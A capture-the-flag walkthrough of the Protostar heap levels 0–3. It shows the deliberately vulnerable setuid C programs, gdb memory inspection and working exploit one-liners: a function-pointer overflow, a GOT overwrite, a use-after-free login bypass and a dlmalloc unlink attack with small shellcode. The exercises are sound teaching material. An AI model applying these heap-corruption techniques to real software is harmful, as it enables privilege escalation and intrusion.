# Protostar - Heap


Heap 0

$ cat heap0.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();
}
$ file heap0
heap0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap0
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048464 <winner>
(gdb) b *0x080484f2
(gdb) b *0x080484fd
(gdb) run AAAA
(gdb) x/20xw 0x804a008
0x804a008: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) c
(gdb) x/20xw 0x804a008
0x804a008: 0x41414141 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a048: 0x00000000 0x00000011 0x08048478 0x00000000
(gdb) quit
$ ./heap0 `python -c 'from struct import pack; print "A"*(0x804a050-0x804a008) + pack("<I", 0x08048464)'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap 1

$ cat heap1.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
$ file heap1
heap1: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap1
(gdb) disassemble main
(gdb) p winner
$1 = {void (void)} 0x8048494 <winner>
(gdb) x/i 0x80483cc
0x80483cc <puts@plt>: jmp    DWORD PTR ds:0x8049774
(gdb) x/xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483d2
(gdb) b *0x080484ce
(gdb) b *0x080484e8
(gdb) b *0x080484fd
(gdb) b *0x08048517
(gdb) b *0x08048538
(gdb) b *0x08048555
(gdb) b *0x08048561
(gdb) run AAAA BBBB
(gdb) i r eax
eax            0x804a008  134520840
(gdb) c
(gdb) i r eax
eax            0x804a018  134520856
(gdb) c
(gdb) i r eax
eax            0x804a028  134520872
(gdb) c
(gdb) i r eax
eax            0x804a038  13452088
(gdb) c
(gdb) x/16xw 0x804a008
0x804a008:  0x00000001  0x0804a018  0x00000000  0x00000011
0x804a018:  0x00000000  0x00000000  0x00000000  0x00000011
0x804a028:  0x00000002  0x0804a038  0x00000000  0x00000011
0x804a038:  0x00000000  0x00000000  0x00000000  0x00020fc1
(gdb) quit
$ ./heap1 `python -c 'from struct import pack; print "A"*(0x804a02c-0x804a018) + pack("<I", 0x08049774), pack("<I", 0x08048494)'`
and we have a winner @ 1426618179

Heap 2

$ cat heap2.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}
$ file heap2  
heap2: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap2
(gdb) disassemble main
(gdb) b *0x08048942
(gdb) run
[ auth = (nil), service = (nil) ]
auth AAAA
(gdb) info proc map
process 1682
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap2
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap2
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fde000 0xb7fe2000     0x4000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000ff1  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000000
(gdb) p &auth->name
$1 = (char (*)[32]) 0x804c008
(gdb) p &auth->auth
$2 = (int *) 0x804c028
(gdb) c
[ auth = 0x804c008, service = (nil) ]
serviceAAAABBBBCCCCDDDD
(gdb) x/12xw 0x804c000
0x804c000:  0x00000000  0x00000011  0x41414141  0x0000000a
0x804c010:  0x00000000  0x00000019  0x41414141  0x42424242
0x804c020:  0x43434343  0x44444444  0x0000000a  0x00000fd9
(gdb) x/xw &auth->auth
0x804c028:  0x0000000a
(gdb) c
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!

Heap 3

$ cat heap3.c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}
$ file heap3
heap3: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
$ gdb heap3
(gdb) disassemble main
(gdb) b *0x080488c5
(gdb) p winner
$1 = {void (void)} 0x8048864 
(gdb) run A B C
(gdb) info proc map
process 1784
cmdline = '/opt/protostar/bin/heap3'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap3'
Mapped address spaces:

  Start Addr   End Addr       Size     Offset objfile
   0x8048000  0x804b000     0x3000          0        /opt/protostar/bin/heap3
   0x804b000  0x804c000     0x1000     0x3000        /opt/protostar/bin/heap3
   0x804c000  0x804d000     0x1000          0           [heap]
  0xb7e96000 0xb7e97000     0x1000          0        
  0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
  0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
  0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
  0xb7fd9000 0xb7fdc000     0x3000          0        
  0xb7fe0000 0xb7fe2000     0x2000          0        
  0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
  0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
  0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
  0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
  0xbffeb000 0xc0000000    0x15000          0           [stack]
(gdb) x/i 0x8048790
0x8048790 <puts@plt>: jmp    DWORD PTR ds:0x804b128
(gdb) x/xw 0x804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>: 0x08048796
(gdb) x/32xw 0x804c000
0x804c000:  0x00000000  0x00000029  0x00000000  0x00000000 shellcode = [push @winner; ret]
0x804c010:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c020:  0x00000000  0x00000000  0x00000000  0x00000029 [-4] [-4]
0x804c030:  0x00000000  0x00000000  0x00000000  0x00000000 [BBBB] [@got_puts - 12] [@shellcode]
0x804c040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c050:  0x00000000  0x00000029  0x00000000  0x00000000
0x804c060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c070:  0x00000000  0x00000000  0x00000000  0x00000f89
(gdb) quit
$ ./heap3 `python -c 'from struct import pack; print "A"*4 + "\x68\x64\x88\x04\x08\xc3" + "A"*22 + pack("<I", 0xfffffffc)*2, "B"*4 + pack("<I", 0x0804b128-12) + pack("<I", 0x804c00c), "C"'`
that wasn't too bad now, was it? @ 1426954122

Reference

https://exploit-exercises.com/protostar/

No comments: